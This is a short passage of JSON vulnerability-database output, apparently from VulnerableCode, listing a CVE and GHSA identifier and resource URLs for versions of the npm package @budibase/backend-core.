"http://public2.vulnerablecode.io/packages/pkg:npm/%2540budibase/backend-core@3.35.10"}],"aliases":["CVE-2026-42239","GHSA-4f9j-vr4p-642r"],"risk_score":null,"exploitability":null,"weighted_severity":null,"resource_url":"http://public2.vulnerablecode.io/vulnerabilities/VCID-j56f-aj6b-vbbg"}],"fixing_vulnerabilities":[],"risk_score":null,"resource_url":"http://public2.vulnerablecode.io/packages/pkg:npm/%2540budibase/backend-core@2.4.12-alpha.6"}